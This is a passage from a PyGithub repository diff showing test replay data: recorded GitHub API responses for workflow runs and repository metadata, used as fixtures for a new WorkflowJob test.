/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":105213061,"node_id":"MDExOldvcmtmbG93UnVuMTA1MjEzMDYx","head_branch":"master","head_sha":"53d58d2b07e366edbf37b6fd16d05b32e095b983","run_number":103,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105213061","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/105213061","pull_requests":[],"created_at":"2020-05-15T00:49:18Z","updated_at":"2020-05-15T00:51:37Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105213061/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105213061/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/684154934","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105213061/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105213061/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105213061/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"53d58d2b07e366edbf37b6fd16d05b32e095b983","tree_id":"0bf96fcdce8692eb367786aadcfb84845b4e4e7c","message":"Remove Repository.topics (#1505)\n\nThe topics attribute has been replaced by Repository.get_topics(). To\r\nreduce user confusion, delete the attribute.\r\n\r\nFixes #1504","timestamp":"2020-05-15T00:49:15Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":105212023,"node_id":"MDExOldvcmtmbG93UnVuMTA1MjEyMDIz","head_branch":"master","head_sha":"7b20b13d0b853e813b201edf1daf159ca8bc983f","run_number":102,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/105212023","pull_requests":[],"created_at":"2020-05-15T00:47:26Z","updated_at":"2020-05-15T00:49:57Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/684151943","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"7b20b13d0b853e813b201edf1daf159ca8bc983f","tree_id":"562969dbd50e31ec6644e42cd47b6c93b5664167","message":"Small improvements to typing (#1517)\n\nWork through some of the errors when running mypy with --strict.","timestamp":"2020-05-15T00:47:22Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}}]} - diff --git a/tests/ReplayData/WorkflowJob.setUp.txt b/tests/ReplayData/WorkflowJob.setUp.txt new file mode 100644 index 0000000000..d6642153ea --- /dev/null +++ b/tests/ReplayData/WorkflowJob.setUp.txt @@ -0,0 +1,32 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 15 Mar 2023 17:03:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5a8d0c04b22faf083b4eea90698de217a6419438e9d143138f566cf60cad0ad8"'), ('Last-Modified', 'Mon, 10 Jan 2022 09:52:55 GMT'), ('github-authentication-token-expiration', '2023-04-14 15:56:10 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1678903315'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '85C4:3628:24DDD6D:2579498:6411FA61')] +{"id":446365735,"node_id":"R_kgDOGpsAJw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2022-01-10T09:52:53Z","updated_at":"2022-01-10T09:52:55Z","pushed_at":"2023-03-14T22:41:43Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://PyGithub.readthedocs.io/","size":13898,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":1,"open_issues":2,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-15T17:02:12Z","pushed_at":"2023-03-14T22:46:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://PyGithub.readthedocs.io/","size":13760,"stargazers_count":5854,"watchers_count":5854,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1598,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":219,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License 